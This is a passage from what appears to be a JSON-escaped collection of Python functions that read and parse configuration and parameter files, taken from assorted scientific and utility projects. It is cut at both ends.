raw_cosmo_params = dict(config.items('cosmology'))\\n raw_io_params = dict(config.items('io'))\\n raw_binning_params = dict(config.items('binning'))\\n raw_maps_to_stack_params = dict(config.items('maps_to_stack'))\\n raw_map_path_params = dict(config.items('map_path'))\\n raw_map_file_params = dict(config.items('map_file'))\\n raw_noise_path_params = dict(config.items('map_path'))\\n raw_noise_file_params = dict(config.items('noise_file'))\\n raw_beams_params = dict(config.items('beams'))\\n raw_color_correction_params = dict(config.items('color_correction'))\\n raw_catalogs_params = dict(config.items('catalogs'))\\n\\n raw_io_params['param_file_path'] = os.path.abspath(param_file_path) # Store parameter file path\\n\\n # Convert \\\"raw\\\" config dictionary to \\\"organized\\\" dictionary `params`\\n params = get_general_params(raw_params) \\n params['io'] = get_io_parameters(raw_io_params)\\n params['cosmo'] = get_cosmology_parameters(raw_cosmo_params)\\n params['map_files'] = get_maps_parameters(raw_maps_to_stack_params,raw_map_path_params,raw_map_file_params)\\n params['noise_files'] = get_maps_parameters(raw_maps_to_stack_params,raw_noise_path_params,raw_noise_file_params)\\n params['wavelength'] = get_wavelength_parameters(raw_maps_to_stack_params)\\n params['psfs'] = get_beams_parameters(raw_maps_to_stack_params,raw_beams_params)\\n params['color_correction'] = get_color_correction_parameters(raw_maps_to_stack_params,raw_color_correction_params)\\n params['catalogs'] = get_catalogs_parameters(raw_catalogs_params)\\n params['bins'] = get_binning_parameters(raw_binning_params)\\n params['library_keys'] = params['map_files'].keys()\\n\\n logging.info(\\\"---------- PARAMETER VALUES ----------\\\")\\n logging.info(\\\"======================================\\\")\\n logging.info(\\\"\\\\n\\\" + pprint.pformat(params, indent=4) + \\\"\\\\n\\\")\\n\\n #pdb.set_trace()\\n return params\",\n \"def parse_ranges(ranges, expand=True):\\n pairs = ranges.split(' ')\\n content = {}\\n for key, value in [pair.split('=') for pair in pairs if '=' in pair]:\\n content[key] = parse_range_once(value, expand)\\n return content\",\n \"def process_config(self, filename):\\n \\n self.log_message(\\\"processing config file: \\\"+filename)\\n parser = SafeConfigParser()\\n parser.optionxform = str\\n parser.read(filename)\\n self.source_files[filename] = parser\\n \\n sections = parser.sections()\\n for section in sections:\\n \\n options = parser.options(section)\\n params = {}\\n non_std = {}\\n for option in options:\\n ## any option that ends with the word \\\"password\\\" will be encrypted and will automatically be decrypted upon\\n ## processing \\n if option in self.standard_options:\\n params[option] = self.get_value(option, parser.get(section, option))\\n else:\\n non_std[option] = self.get_value(option, parser.get(section, option))\\n\\n params['non_std'] = non_std\\n params['source_file'] = filename\\n params['name']=section\\n params['run_date']=self.run_date\\n c_entry = ConfigEntry(params)\\n if c_entry.ready: \\n entry_num = c_entry.get_entry_type()\\n self.entries[self.entry_types[entry_num]].append(c_entry)\\n self.entry_dict[section] = {'source':filename,'entry':c_entry}\\n self.log_message(\\\"Loaded Config Entry: \\\"+section)\\n else:\\n self.log_message(\\\"Failed to load config entry: \\\"+section)\\n\\n return self.entries\",\n \"def _parse_requantization_ranges(self):\\n res = {}\\n\\n print_suffix = \\\"__print__\\\"\\n lines = self._get_valid_log()\\n temp_min = {}\\n temp_max = {}\\n pattern_def = r\\\"{};{}:\\\\[\\\\-?\\\\d+\\\\.?\\\\d*e?-?\\\\+?\\\\d*\\\\]\\\".format(print_suffix, self.postfix)\\n for i in lines:\\n if not re.search(pattern_def, i):\\n continue\\n\\n max_line_data = i.split(print_suffix + \\\";\\\" + self.postfix)[-1]\\n min_value = max_line_data.split('][')[0].split('[')[1]\\n max_value = max_line_data.split('][')[1].split(']')[0]\\n name = i.split(';')[1].strip()[:-len(print_suffix)]\\n if name not in temp_min:\\n temp_min[name] = []\\n if name not in temp_max:\\n temp_max[name] = []\\n\\n temp_min[name].append(float(min_value))\\n temp_max[name].append(float(max_value))\\n\\n for key in temp_min:\\n target_min_index = int(np.ceil(len(temp_min[key]) * (1 - self.threshold)))\\n\\n if key not in res:\\n res[key] = []\\n\\n if target_min_index > len(temp_min[key]) - 1:\\n target_min_index = len(temp_min[key]) - 1\\n res[key].append(sorted(temp_min[key])[target_min_index])\\n\\n for key in temp_max:\\n target_max_index = int(np.floor(len(temp_max[key]) * self.threshold)) - 1\\n\\n if target_max_index > len(temp_max[key]) - 1:\\n target_max_index = len(temp_max[key]) - 1\\n\\n res[key].append(sorted(temp_max[key])[target_max_index])\\n\\n if self.tensor_data:\\n for k, v in self.tensor_data.items():\\n if k in res:\\n self.logger.debug(\\\"Update node {} min to {}, max to {}.\\\".format(k, v[2], v[3]))\\n res[k] = [v[2], v[3]]\\n return res\",\n \"def read_t5_gin_config_file(config_file_path: str) ->Dict:\\n config = {}\\n with open(config_file_path, 'r') as gin_file:\\n for line in gin_file:\\n if line.startswith(IMPORTANT_PARAMS):\\n assignment = line.strip().split()\\n assert len(assignment) == 3\\n arg_name, _, value = assignment\\n config[arg_name] = ast.literal_eval(value)\\n return config\",\n \"def read_parse_file(params):\\n\\tparam_names = []\\n\\tparam_options = []\\n\\tif not os.path.isfile(params.parse_file):\\n\\t\\tprint(\\\"parse file does not exist! ({})\\\".format(params.parse_file))\\n\\t\\tsys.exit(NO_PARSE)\\n\\twith open(params.parse_file, 'r') as pf:\\n\\t\\t# first line should be iteration regex\\n\\t\\tsetattr(params, 'iteration_regex', re.compile(pf.readline().strip()))\\n\\t\\tfor line in pf:\\n\\t\\t\\tparam_desc = line.split(';')\\n\\t\\t\\tparam_names.append(param_desc[0])\\n\\t\\t\\tparam_options.append(param_desc[1])\\n\\n\\treturn param_names,param_options\",\n \"def read_gbvi_parameters(filename):\\n\\n parameters = dict()\\n \\n infile = open(filename, 'r')\\n for line in infile:\\n # Strip trailing comments\\n index = line.find('%')\\n if index != -1:\\n line = line[0:index] \\n\\n # Parse parameters\\n elements = line.split()\\n if len(elements) == 3:\\n [atomtype, radius, gamma] = elements\\n parameters['%s_%s' % (atomtype,'radius')] = float(radius)\\n parameters['%s_%s' % (atomtype,'gamma')] = float(gamma)\\n\\n return parameters\",\n \"def comando_config(self):\\r\\n if args.tag:\\r\\n cfile = args.file\\r\\n\\t if args.opcao == 'daruma' and not cfile:\\r\\n cfile = '/usr/local/lib/daruma.ini'\\r\\n\\t if args.value:\\r\\n dictags = self.set_param_section_config_ini(cfile, args.loja, args.tag, args.value)\\r\\n return dictags\\r\\n # modificar\\r\\n\\t else:\\r\\n dictag = self.get_param_section_config_ini(cfile, args.loja, args.tag)\\r\\n return dictag #retorna dicicionario\\r\",\n \"def read_config(self, filename):\\n heading = None\\n with open(filename) as fin: # open the file\\n for line in fin:\\n line = line.strip() # cut the tail\\n if line.startswith('==') and line.endswith('=='): # detect headings\\n heading = line[2:-2] # heading\\n self._config[heading] = {} # create a dictionary for the heading\\n elif line.count(':') == 1 and heading is not None: # detect attribute\\n attr, _, value = line.partition(':') # get attribute and their value\\n self._config[heading][attr[:-1]] = value[1:] # update into dic\\n elif line == \\\"\\\": # if line is empty, skip\\n continue\\n else: # bad line\\n messagebox.showerror(\\\"Error\\\", \\\"Bad config file, I can't read it!\\\")\\n return self._config\",\n \"def read_setup(inifile):\\n # inifile = os.path.join(spathy_path, inifile)\\n print(inifile)\\n cfg = configparser.ConfigParser()\\n cfg.read(inifile)\\n\\n pp = {}\\n for s in cfg.sections():\\n section = s.encode('ascii', 'ignore')\\n pp[section] = {}\\n for k, v in cfg.items(section):\\n key = k.encode('ascii', 'ignore')\\n val = v.encode('ascii', 'ignore')\\n if section == 'General': # 'general' section\\n pp[section][key] = val\\n else:\\n pp[section][key] = float(val)\\n pp['General']['dt'] = float(pp['General']['dt'])\\n\\n pgen = pp['General']\\n pcpy = pp['CanopyGrid']\\n pbu = pp['BucketGrid']\\n ptop = pp['Topmodel']\\n\\n return pgen, pcpy, pbu, ptop\",\n \"def params_file(file):\\n dict={}\\n for line in open(file,'r').readlines():\\n if line[0]==' ' or line[0]=='#': continue \\n halves=line.split('#')\\n\\t#replace commas in case they're present\\n halves[0]=halves[0].replace(',',' ') \\t\\n pieces=halves[0].split()\\n if len(pieces)==0: continue\\n key=pieces[0]\\n #if type(key)<>type(''):\\n # raise 'Keyword not string!'\\n if len(pieces)<2:\\n mensaje='No value(s) for parameter '+key\\n raise mensaje\\n dict[key]=tuple(pieces[1:]) \\n if len(dict[key])==1: dict[key]=dict[key][0]\\n return dict\",\n \"def config(self) -> Dict[str, Any]:\",\n \"def read_t5_gin_config_file(config_file_path: str) -> Dict:\\n config = {}\\n\\n with open(config_file_path, 'r') as gin_file:\\n for line in gin_file:\\n if line.startswith(IMPORTANT_PARAMS):\\n assignment = line.strip().split()\\n assert len(assignment) == 3\\n arg_name, _, value = assignment\\n config[arg_name] = ast.literal_eval(value)\\n\\n return config\",\n \"def gcam_parse(cfgfile_name):\\n\\n ## initialize the structures that will receive the data we are\\n ## parsing from the file\\n capability_table = {}\\n module_list = []\\n\\n ## cfgfile_name is a filename\\n with open(cfgfile_name,\\\"r\\\") as cfgfile: \\n section = None\\n module = None\\n sectnpat = re.compile(r'\\\\[(.+)\\\\]')\\n keyvalpat = re.compile(r'(.+)=(.+)')\\n\\n for line in cfgfile:\\n line = line.lstrip() # remove leading whitespace\\n\\n ## check for comments and blank lines. A line is a comment if\\n ## the first non-whitespace character is a '#'\\n if(line == \\\"\\\" or line[0] == '#'):\\n continue\\n\\n ## check for section header. Section headers appear in square brackets: [gcam_module]\\n sectnmatch = sectnpat.match(line)\\n if sectnmatch:\\n section = sectnmatch.group(1)\\n print \\\"parser starting section: %s\\\" % section\\n \\n if not section.lower()==\\\"global\\\":\\n ## Section header starts a new module\\n ## create the new module: the section name is the module class\\n ## TODO: is the input from the config file trusted enough to do it this way?\\n modcreate = \\\"%s(capability_table)\\\" % section\\n print \\\"modcreate statement: %s\\\\n\\\" % modcreate\\n module = eval(modcreate)\\n else:\\n ## This is kind of a wart because I want to call\\n ## the section \\\"global\\\", but I don't want to have\\n ## a module called \\\"global\\\".\\n module = GlobalParamsModule(capability_table)\\n \\n module_list.append(module) \\n continue # nothing further to do for a section header line\\n\\n ## If we get this far, we have a nonblank line that is not a\\n ## comment or a section header. We had better be in a section\\n ## by now, or the config is malformed.\\n if section==None:\\n raise RuntimeError(\\\"Malformed config file: doesn't open with a section header.\\\")\\n\\n kvmatch = keyvalpat.match(line)\\n if not kvmatch:\\n raise RuntimeError(\\\"Malformed line in config file:\\\\n%s\\\"%line)\\n\\n key = kvmatch.group(1).lstrip().rstrip()\\n val = kvmatch.group(2).lstrip().rstrip()\\n\\n print \\\"parser got key= %s\\\\tval= %s\\\" % (key, val)\\n\\n module.addparam(key, val)\\n\\n ## end of loop over config file lines\\n ## end of with block: config file will be closed\\n \\n ## close out the parameter processing for all modules in the list\\n for module in module_list:\\n module.finalize_parsing()\\n\\n return (module_list, capability_table)\",\n \"def parse_qiime_config_file(qiime_config_file):\\r\\n result = {}\\r\\n for line in qiime_config_file:\\r\\n line = line.strip()\\r\\n # ignore blank lines or lines beginning with '#'\\r\\n if not line or line.startswith('#'):\\r\\n continue\\r\\n fields = line.split()\\r\\n param_id = fields[0]\\r\\n param_value = expandvars(' '.join(fields[1:])) or None\\r\\n result[param_id] = param_value\\r\\n return result\",\n \"def parseConfig(f):\\n config = {\\\"formats\\\":{}}\\n \\n for line in f:\\n if line.startswith(\\\"//\\\"): \\n continue\\n \\n sline = re.split(\\\"[=\\\\s]\\\", line)\\n if sline[0] is \\\"\\\":\\n continue\\n \\n if sline[0]==\\\"format\\\":\\n #Puts the format as a key in the dict pointed to by \\\"formats\\\"\\n config[\\\"formats\\\"][sline[1]] = sline[3] \\n else:\\n config[sline[0]] = sline[1]\\n \\n return config\",\n \"def _load_from_config(self, config_file):\\n\\n if config_file and isinstance(config_file, bool):\\n config_file = '/etc/zabbix/zabbix_agentd.conf'\\n\\n logger.debug(\\\"Used config: %s\\\", config_file)\\n\\n # This is workaround for config wile without sections\\n with open(config_file, 'r') as f:\\n config_file_data = \\\"[root]\\\\n\\\" + f.read()\\n\\n params = {}\\n\\n args = inspect.getfullargspec(configparser.RawConfigParser.__init__).kwonlyargs\\n\\n if 'strict' in args:\\n params['strict'] = True\\n\\n config_file_fp = StringIO(config_file_data)\\n config = configparser.RawConfigParser(**params)\\n config.read_file(config_file_fp)\\n # Prefer ServerActive, then try Server and fallback to defaults\\n if config.has_option('root', 'ServerActive'):\\n zabbix_serveractives = config.get('root', 'ServerActive')\\n elif config.has_option('root', 'Server'):\\n zabbix_serveractives = config.get('root', 'Server')\\n else:\\n zabbix_serveractives = '127.0.0.1:10051'\\n\\n result = []\\n for serverport in zabbix_serveractives.split(','):\\n if ':' not in serverport:\\n serverport = \\\"%s:%s\\\" % (serverport.strip(), 10051)\\n server, port = serverport.split(':')\\n serverport = (server, int(port))\\n result.append(serverport)\\n logger.debug(\\\"Loaded params: %s\\\", result)\\n\\n return result\",\n \"def read_config(self, config_filename):\",\n \"def dict_from_file(filename):\\n token = '\\\\s+|(?<!\\\\d)[,](?!\\\\d)'\\n letters = re.compile(\\\"(^[a-zA-Z])\\\") # starts with a letter\\n numbers = re.compile(\\\"(^(?:[+\\\\-])?(?:\\\\d*)(?:\\\\.)?(?:\\\\d*)?(?:[eE][+\\\\-]?\\\\d*$)?)\\\")\\n empty = re.compile(\\\"(^\\\\s*$)\\\") # is a blank line\\n\\n print(\\\"\\\\nReading {0:s} ...\\\".format(filename))\\n with open(filename, 'r') as fh:\\n lines = fh.readlines()\\n content = dict()\\n for line in lines:\\n value = None\\n key = None\\n if not empty.match(line):\\n if letters.match(line):\\n pair = re.split(token, line.strip(), maxsplit=3)\\n if len(pair) == 2: # key and value exist\\n key = pair[0] # first item is the key\\n val = pair[1] # second item is the value\\n if letters.match(val):\\n value = val\\n if numbers.fullmatch(val):\\n value = eval(val)\\n if len(pair) == 3: # key min max exist\\n key = pair[0]\\n val1, val2 = pair[1:]\\n if numbers.fullmatch(val1) and numbers.fullmatch(val2):\\n value = (eval(val1), eval(val2))\\n else:\\n raise ValueError(\\\"Min/max values expected for {0}\\\"\\n .format(key))\\n # ignore the filter file pointings and the sensitivity files these are\\n # used for simulation\\n if key and (value is not None):\\n if ((\\\"FILTER\\\" not in key) and (\\\"SENSITIVITY\\\" not in key)):\\n content[key] = value\\n print(\\\"Setting {0:s} = {1}\\\".format(key, value))\\n\\n return content\",\n \"def setupdict(parfile):\\n pardict = {}\\n with open(parfile,'r+') as f:\\n for line in f:\\n flags = line[56:65].split(' ')\\n try:\\n flags = [int(f) for f in flags]\\n except:\\n continue\\n # if we found res pars\\n if( all(flags) <= 3 ):\\n # if any varied pars\\n if( any(flags) > 0 ):\\n # energies are dict keys\\n estring = endf_float_str(float(line[0:11]))\\n pardict[estring] = []\\n pars = [float(line[0+11*i:11+11*i]) for i in range(len(flags))]\\n for i,flag in enumerate(flags):\\n if( flag > 0 ):\\n pardict[estring].append((i,pars[i]))\\n return pardict\",\n \"def parse_ini_file_into_dict(filename):\\n output = {}\\n\\n INIfile = SafeConfigParser()\\n result = INIfile.read(filename) # returns an empty list if file error\\n if result == []:\\n raise IOError\\n\\n #iterate through INI file and build dictionary\\n for section_name in INIfile.sections():\\n section_dict = {}\\n for option_name in INIfile.options(section_name):\\n option_value = INIfile.get(section_name, option_name)\\n section_dict[option_name] = option_value\\n output[section_name] = section_dict\\n\\n return output\",\n \"def parse_config_file(config_file):\\n\\n config = ConfigParser.SafeConfigParser()\\n config.read(config_file)\\n\\n config_dict = {}\\n for section in config.sections():\\n # TODO : Should I force all section names to lowercase?\\n config_dict[section.strip()] = dict(config.items(section))\\n\\n\\n return config_dict\",\n \"def parse_config_file(config_file):\\n parsed = {}\\n\\n try:\\n with open(config_file, \\\"r\\\") as data:\\n for line in data.readlines():\\n if \\\"=\\\" not in line:\\n continue\\n key, val = line.split(\\\"=\\\", 1)\\n parsed[key] = val.strip()[1:-1]\\n except IOError:\\n logging.error(\\\"%s doesn't exist\\\" % config_file)\\n raise\\n\\n return parsed\",\n \"def _parse(self):\\n with open(self.input) as f:\\n for line in f:\\n if not line.lstrip().startswith(\\\"#\\\"): # comment\\n stripped_line=line.split(\\\"#\\\")[0].strip()\\n \\n # Initialise an empty option dictionary with some good defaults\\n if \\\"[\\\" in stripped_line:\\n molname=stripped_line.split()[1]\\n self.options[molname]=self.empty_option_dict.copy() # dict1=dict2 does not copy!\\n self.options[molname][\\\"MolName\\\"]=molname\\n if \\\":\\\" in stripped_line: \\n # now process line by line\\n if \\\"{\\\" not in stripped_line:\\n key,value=[i.strip() for i in stripped_line.split(\\\":\\\")]\\n\\n if key not in self.options[molname].keys():\\n raise BaseException(\\\"Option \\\\\\\"{}\\\\\\\" not known, please check your input file\\\".format(key))\\n self.options[molname][key]=value \\n else:\\n # This is to define special lines that are given by a dictionary\\n key,value=stripped_line.split(\\\":\\\",1) # split on first occurence\\n if key==\\\"Addon\\\": # additional atoms to be added per molecule\\n addondict=self.empty_addon_dict.copy()\\n addondict_string = value.split(\\\"}\\\",-1)[0].split(\\\"{\\\",1)[1]\\n for pair in addondict_string.split(\\\",\\\"):\\n addonkey,addonvalue=[i.strip() for i in pair.split(\\\":\\\")]\\n if addonkey not in addondict.keys():\\n raise BaseException(\\\"Option \\\\\\\"{}\\\\\\\" in Addon section of molecule {} not known, please check your input file\\\".format(addonkey,molname))\\n addondict[addonkey]=addonvalue\\n value=addondict\\n # Since addon keyword can be used many times, this is a list\\n self.options[molname][key].append(value) \\n self._check()\",\n \"def get_config_dict(config_filename):\\n f = open(config_filename)\\n ret = dict()\\n for line in f.readlines():\\n arr = line.strip().split('=', 1)\\n ret[arr[0]] = arr[1]\\n\\n return ret\",\n \"def parse_config(cls, fname):\\n with open(fname) as f:\\n lines = [l.strip() for l in f.read().split('\\\\n') if l.strip()]\\n\\n comments = [l.replace('#', '').strip()\\n for l in lines if l.startswith('#')]\\n lines = [l for l in lines if not l.startswith('#')]\\n\\n # We use a simple state-machine approach to the parsing\\n # in order to deal with multi-line sections.\\n parsing = False\\n keys = cls.config_guide.keys()\\n vars = {var: [] for var in keys}\\n for line in lines:\\n if not parsing:\\n k, csv = line.split(':')\\n else:\\n csv = line\\n\\n vars[k].extend([val.strip() for val in csv.split(',')])\\n parsing = not line.endswith(';')\\n if not parsing:\\n vars[k][-1] = vars[k][-1][:-1] # remove semi-colon\\n\\n # Remove whitespace strings. These may have come from something like:\\n # c: this, , that;\\n for k in keys:\\n vars[k] = [val for val in vars[k] if val] # already stripped\\n\\n return comments, vars\",\n \"def read_input_file():\\n \\n global input\\n \\n config = ConfigParser.RawConfigParser()\\n config.read(os.path.join(os.getcwd(), 'INPUT.cfg'))\\n\\n input = {}\\n input['datapath'] = config.get('Address_info', 'datapath')\\n input['inter_address'] = config.get('Address_info', 'interactive_address')\\n input['target_folder'] = config.get('Address_info', 'target_folder')\\n input['save_folder'] = config.get('Address_info', 'save_folder')\\n \\n if not os.path.isabs(input['datapath']):\\n input['datapath'] = os.path.join(os.getcwd(), input['datapath'])\\n \\n if not os.path.isabs(input['inter_address']):\\n input['inter_address'] = os.path.join(os.getcwd(), input['inter_address'])\\n \\n if not os.path.isabs(input['target_folder']):\\n input['target_folder'] = os.path.join(os.getcwd(), input['target_folder'])\\n \\n if not os.path.isabs(input['save_folder']):\\n input['save_folder'] = os.path.join(os.getcwd(), input['save_folder'])\\n \\n \\n input['min_date'] = str(eval(config.get('Event_Request', 'min_datetime')))\\n input['max_date'] = str(eval(config.get('Event_Request', 'max_datetime')))\\n input['min_mag'] = config.getfloat('Event_Request', 'min_magnitude')\\n input['max_mag'] = config.getfloat('Event_Request', 'max_magnitude')\\n input['min_depth'] = config.getfloat('Event_Request', 'min_depth')\\n input['max_depth'] = config.getfloat('Event_Request', 'max_depth')\\n input['evlonmin'] = config.getfloat('Event_Request', 'evlonmin')\\n input['evlonmax'] = config.getfloat('Event_Request', 'evlonmax')\\n input['evlatmin'] = config.getfloat('Event_Request', 'evlatmin')\\n input['evlatmax'] = config.getfloat('Event_Request', 'evlatmax')\\n input['preset'] = config.getfloat('Event_Request', 'preset')\\n input['offset'] = config.getfloat('Event_Request', 'offset')\\n input['max_result'] = config.getint('Event_Request', 'max_results')\\n \\n input['get_events'] = config.get('Request', 'get_events')\\n input['input_period'] = config.get('Parallel', 'input_period')\\n input['IRIS'] = config.get('Request', 'IRIS')\\n input['ArcLink'] = config.get('Request', 'ArcLink')\\n input['time_iris'] = config.get('Request', 'time_iris')\\n input['time_arc'] = config.get('Request', 'time_arc')\\n \\n input['nodes'] = config.get('Parallel', 'nodes')\\n\\n input['waveform'] = config.get('Request', 'waveform')\\n input['response'] = config.get('Request', 'response')\\n input['SAC'] = config.get('Request', 'SAC')\\n \\n input['net'] = config.get('specifications_request', 'network')\\n input['sta'] = config.get('specifications_request', 'station')\\n \\n if config.get('specifications_request', 'location') == \\\"''\\\":\\n input['loc'] = ''\\n elif config.get('specifications_request', 'location') == '\\\"\\\"':\\n input['loc'] = ''\\n else:\\n input['loc'] = config.get('specifications_request', 'location')\\n \\n input['cha'] = config.get('specifications_request', 'channel')\\n\\n if config.get('specifications_request', 'lat') == 'None':\\n input['lat_cba'] = None\\n else:\\n input['lat_cba'] = config.get('specifications_request', 'lat')\\n \\n if config.get('specifications_request', 'lon') == 'None':\\n input['lon_cba'] = None\\n else:\\n input['lon_cba'] = config.get('specifications_request', 'lon')\\n \\n if config.get('specifications_request', 'minradius') == 'None':\\n input['mr_cba'] = None\\n else:\\n input['mr_cba'] = config.get('specifications_request', 'minradius')\\n \\n if config.get('specifications_request', 'maxradius') == 'None':\\n input['Mr_cba'] = None\\n else:\\n input['Mr_cba'] = config.get('specifications_request', 'maxradius')\\n \\n \\n if config.get('specifications_request', 'minlat') == 'None':\\n input['mlat_rbb'] = None\\n else:\\n input['mlat_rbb'] = config.get('specifications_request', 'minlat')\\n \\n if config.get('specifications_request', 'maxlat') == 'None':\\n input['Mlat_rbb'] = None\\n else:\\n input['Mlat_rbb'] = config.get('specifications_request', 'maxlat')\\n \\n if config.get('specifications_request', 'minlon') == 'None':\\n input['mlon_rbb'] = None\\n else:\\n input['mlon_rbb'] = config.get('specifications_request', 'minlon')\\n \\n if config.get('specifications_request', 'maxlon') == 'None':\\n input['Mlon_rbb'] = None\\n else:\\n input['Mlon_rbb'] = config.get('specifications_request', 'maxlon')\\n\\n \\n input['test'] = config.get('test', 'test')\\n input['test_num'] = config.getint('test', 'test_num')\\n \\n input['update_interactive'] = config.get('update', 'update_interactive')\\n input['iris_update'] = config.get('update', 'iris_update')\\n input['arc_update'] = config.get('update', 'arc_update')\\n\\n input['QC_IRIS'] = config.get('QC', 'QC_IRIS')\\n input['QC_ARC'] = config.get('QC', 'QC_ARC')\\n \\n input['email'] = config.get('email', 'email')\\n input['email_address'] = config.get('email', 'email_address')\\n \\n input['report'] = config.get('report', 'report')\\n \\n input['corr_unit'] = config.get('instrument_correction', 'corr_unit')\\n input['pre_filt'] = config.get('instrument_correction', 'pre_filter')\\n \\n input['plt_event'] = config.get('ObsPyPT', 'plot_event')\\n input['plt_sta'] = config.get('ObsPyPT', 'plot_sta')\\n input['plt_ray'] = config.get('ObsPyPT', 'plot_ray')\\n\\n input['llcrnrlon'] = config.getfloat('ObsPyPT', 'llcrnrlon')\\n input['urcrnrlon'] = config.getfloat('ObsPyPT', 'urcrnrlon')\\n input['llcrnrlat'] = config.getfloat('ObsPyPT', 'llcrnrlat')\\n input['urcrnrlat'] = config.getfloat('ObsPyPT', 'urcrnrlat')\\n \\n input['lon_0'] = config.getfloat('ObsPyPT', 'lon_0')\\n input['lat_0'] = config.getfloat('ObsPyPT', 'lat_0')\",\n \"def _read_config(filename):\\n\\n c = {}\\n with open(filename, \\\"r\\\") as f:\\n for line in f:\\n key, val = line.split(\\\"=\\\")\\n key = key.strip()\\n val = val.strip()\\n c[key] = val\\n return c\",\n \"def parse(configs_file):\\n if not configs_file:\\n dir_path = os.path.dirname(os.path.realpath(__file__))\\n configs_file = os.path.join(dir_path, 'my_bb_configs.ini')\\n\\n print('Loading configs: ' + configs_file)\\n # parser = ConfigParser(interpolation=ExtendedInterpolation())\\n # parser.read(configs_file)\\n\\n # return parser\",\n \"def parse_conf(self):\\n\\n parser = configparser.RawConfigParser()\\n parser.read(self.filename)\\n\\n try:\\n self.id_node = parser['CONF_MACHINE']['ID_NODE']\\n\\n # eliminate possible white spaces between metrics\\n temp = parser['CONF_MACHINE']['METRICS'].split(',')\\n for itr in temp:\\n self.metrics.append(itr.strip())\\n\\n except Exception:\\n raise Exception(\\\"missing id or metrics\\\")\\n\\n try:\\n self.interval = parser['CONF_MAHCINE']['INTERVAL']\\n except Exception:\\n self.interval = 1\\n\\n try:\\n self.ampq_url = parser['ampq']['url']\\n self.ampq_port = parser['ampq']['port']\\n self.ampq_vhost = parser['ampq']['vhost']\\n self.ampq_user = parser['ampq']['user']\\n self.ampq_password = parser['ampq']['password']\\n except Exception:\\n raise Exception(\\\"missing ampq configs\\\")\",\n \"def parse_params(filename):\\n\\n all_dicts = []\\n\\n with open(filename) as f:\\n\\n for line in f:\\n\\n params = line.strip().split()\\n\\n temp_dict = {\\\"die\\\": float(params[0])}\\n\\n temp_dict.update({i: float(params[i]) for i in range(1, 7)})\\n\\n all_dicts.append(temp_dict)\\n\\n f.close()\\n\\n return all_dicts\",\n \"def parse_byblo_conf_file(path):\\n with open(path) as infile:\\n lines = ' '.join([x.strip() for x in infile.readlines()])\\n parser = argparse.ArgumentParser()\\n parser.add_argument(\\\"-o\\\", '--output', type=str)\\n parser.add_argument(\\\"-i\\\", '--input', type=str)\\n parser.add_argument(\\\"-fef\\\", '--filter-entry-freq', type=int)\\n parser.add_argument(\\\"-fff\\\", '--filter-feature-freq', type=int)\\n parser.add_argument('--stages', type=str)\\n args = parser.parse_known_args(lines.split(' '))\\n return args\",\n \"def _read_config(filename):\\n parser = configparser.RawConfigParser()\\n if filename and not parser.read(filename):\\n sys.stderr.write(\\\"Unable to open configuration file %s. Use --config='' to disable this warning.\\\\n\\\" % filename)\\n\\n config = {}\\n\\n for section, defaults in BASE_CONFIG.items():\\n # Patterns are handled separately\\n if section == 'patterns':\\n continue\\n\\n for name, descr in defaults.items():\\n kind, default = descr\\n if section in parser.sections() and name in parser.options(section):\\n if kind == 'int':\\n value = parser.getint(section, name)\\n elif kind == 'float':\\n value = parser.getfloat(section, name)\\n elif kind == 'bool':\\n value = parser.getboolean(section, name)\\n else:\\n value = parser.get(section, name)\\n else:\\n value = default\\n config[name] = value\\n\\n if 'patterns' in parser.sections():\\n patterns = [parser.get('patterns', opt) for opt in parser.options('patterns')]\\n else:\\n patterns = DEFAULT_PATTERNS\\n config['patterns'] = patterns\\n\\n return config\",\n \"def parseConfigFile(self, config_file_path):\\n parser = configparser.SafeConfigParser()\\n parser.read(config_file_path)\\n self.seuil_snr = int(parser.get('seuils', 'snr'))\\n self.seuil_elev_sat = int(parser.get('seuils', 'sat_elevation'))\\n\\n # nav data path\\n self.nav_data_file = parser.get('data', 'nav')\\n\\n print(self.nav_data_file)\\n\\n # obs data paths\\n self.obs_data_file = parser.get('data', 'obs').split(\\\",\\\")\\n\\n print(self.obs_data_file)\",\n \"def read_params(fname):\\n f = open(fname, 'r')\\n par = {} #output\\n for i in range(10): # esta dentro de las primeras 10 lineas\\n l = f.readline().split()\\n #print \\\" ---> \\\", l\\n number = u'%s' % l[-1] # presumably a number\\n if not number.replace('.','').replace('-','').isnumeric():\\n if l[0]=='#####':\\n break\\n else:\\n continue # we proceed ONLY IF this is numeric string\\n #print ' FIRST: ', l[0]\\n if l[0]=='#####':\\n #print \\\"IM I HERE????\\\"\\n break # end of header\\n\\n name = l[1][:-1] # l[0] es '#', y -1 para comernos el \\\":\\\"\\n value = np.float(l[2]) # l[2] es el valor\\n par[name] = value\\n\\n return par\",\n \"def parse_cfg(cfgfile):\\n file = open(cfgfile, \\\"r\\\")\\n lines = file.read().split(\\\"\\\\n\\\") # store the lines in a list\\n lines = [x for x in lines if len(x) > 0] # get read of the empty lines \\n lines = [x for x in lines if x[0] != \\\"#\\\"] # get rid of comments\\n lines = [x.rstrip().lstrip() for x in lines] # get rid of fringe whitespaces\\n\\n block = {}\\n blocks = []\\n\\n for line in lines:\\n if line[0] == \\\"[\\\":\\n if len(block) != 0:\\n blocks.append(block)\\n block = {}\\n block[\\\"type\\\"] = line[1:-1].rstrip()\\n else:\\n key, value = line.split(\\\"=\\\")\\n block[key.rstrip()] = value.lstrip()\\n blocks.append(block)\\n return blocks\",\n \"def f_read_adr_parameters_from_csv_file(parameters_file):\\n parameters_dict = {}\\n file = open(parameters_file, \\\"r\\\")\\n for line in file:\\n if line.strip().startswith('#'):\\n pass\\n else:\\n line = line.strip().replace(' ', '').split(',')\\n parameters_dict[\\\"operation_mode_num\\\"] = line[0]\\n parameters_dict[\\\"FFT_size_samples\\\"] = line[1]\\n parameters_dict[\\\"spectra_averaging\\\"] = line[2]\\n parameters_dict[\\\"start_line_freq\\\"] = line[3]\\n parameters_dict[\\\"width_line_freq\\\"] = line[4]\\n parameters_dict[\\\"clock_source\\\"] = line[5]\\n parameters_dict[\\\"sum_diff_mode_num\\\"] = line[6]\\n parameters_dict[\\\"chan_diff_delay\\\"] = line[7]\\n parameters_dict[\\\"data_file_size\\\"] = line[8]\\n\\n return parameters_dict\",\n \"def __analyze_config(self):\\n result = {}\\n with open(self.file) as f:\\n data = f.readlines()\\n temp_key = ''\\n for line in data:\\n if line[0] == '\\t' or line[0] == ';':\\n result[temp_key].append(line.strip())\\n else:\\n temp_key = line.strip()\\n result[temp_key] = []\\n return result\",\n \"def config_parse_file():\\n global ANGELCO_EMAIL, ANGELCO_PASSWORD\\n\\n print(\\\"Parsing the config file...\\\")\\n config = 